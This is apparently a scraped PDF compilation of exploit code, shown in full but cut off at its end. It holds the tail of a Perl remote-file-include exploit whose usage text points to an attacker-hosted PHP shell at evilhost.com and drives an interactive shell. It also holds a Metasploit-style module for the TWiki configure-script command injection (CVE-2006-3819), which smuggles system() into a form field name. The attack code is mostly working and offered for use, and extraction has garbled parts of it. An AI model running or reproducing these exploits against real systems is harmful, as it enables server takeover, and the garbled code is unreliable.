www.site.com [shell Location] - Path to shell exp... All versions of Twiki prior to 4.0.4 hotfix 2 are vulnerable.. Patch HotFix04x00x04x02 is available on twiki.org homepage... "Content
Trang 1elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}
elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};
if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}
else {
print "[shell] \$";
}
}
}
last;
sub header()
{
print q{
******************************************************************
*************
Tucows open Project Remote Include Exploit
Trang 2Vulnerablity found by: Dr Max Virus
Exploit [c]oded by: Dr Max Virus
******************************************************************
************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[tucows FULL PATH] - Path to site exp www.site.com
[shell Location] - Path to shell exp www.evilhost.com/shell.txt
[shell Cmd Variable] - Command variable for php shell
Example: perl exploit.pl http://www.site.com/[tucows]/
******************************************************************
**************
};
exit();
}
black_hat_cr(HCE)
TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)
Code:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic) The latest
# version of the Framework can always be obtained from metasploit.com
##
package Msf::Exploit::twiki_config_typeof;
use base "Msf::Exploit";
use strict;
use Pex::Text;
Trang 3use bytes;
my $advanced = {
'HttpBoundary' => ['Mtb06z', 'HTTP boundary']
};
my $info = {
'Name' => 'Twiki Configure script TYPEOF Parameter Remote
Command Execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'David Maciejak <david dot maciejak at gmail dot com>' ], 'Arch' => [ ],
'OS' => [ ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'VHOST' => [0, 'DATA', 'The virtual host name of the server'], 'DIR' => [1, 'DATA', 'Directory of Twiki', '/twiki'],
'SSL' => [0, 'BOOL', 'Use SSL'], },
'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in the
Twiki configure script All versions of Twiki prior to
4.0.4 hotfix 2 are vulnerable Patch HotFix04x00x04x02 is available on twiki.org homepage
}),
'Refs' =>
[
['BID', '19188'], ['CVE', '2006-3819'], ['OSVDB', '27556'], ],
'Payload' =>
{
Trang 4'Space' => 128, 'Keys' => ['cmd','cmd_bash'], },
'Keys' => ['twiki'],
'DisclosureDate' => 'Jul 27 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->VHost;
my $target_port = $self->GetVar('RPORT');
my $dir = $self->GetVar('DIR');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $cmd = $encodedPayload->RawPayload;
my $boundary = $self->GetLocal('HttpBoundary');
$cmd=
"\r\n ".$boundary."\r\n"
"Content-Disposition: form-data; name=\"action\"\r\n\r\n"
"update\r\n"
" ".$boundary
"Content-Disposition: form-data;
name=\"TYPEOF:{system('$cmd')}\"\r\n\r\n"
"BOOLEAN\r\n"
" ".$boundary;
my $proto="http";
if ($self->GetVar('SSL'))
{
$proto.="s";
Trang 5}
my $request =
"POST ".$dir."/bin/configure HTTP/1.1\r\n"
"Content-Type: multipart/form-data; boundary=".$boundary."\r\n"
"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n"
"Host: $target_host\r\n"
"Referer: ".$proto."://".$target_host.$dir."/bin/configure\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/png\r\n"
"Accept-Language: en\r\n"
"Content-Length: " length($cmd) "\r\n\r\n"
$cmd;
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'SSL' => $self->GetVar('SSL'), );
if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' $s->GetError);
return;
}
$s->Send($request);
my $results = $s->Recv(-1, 200);
if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
my @extract_result;
my @results = split ( /\r\n/, $results );
chomp @results;
my $fill_extract_result=0;
my $end_break=0;
my $i=0;
while ( !$end_break && ($i < @results)){
if ($results[$i] =~ /\<div id=\"patternScreen\"\>/)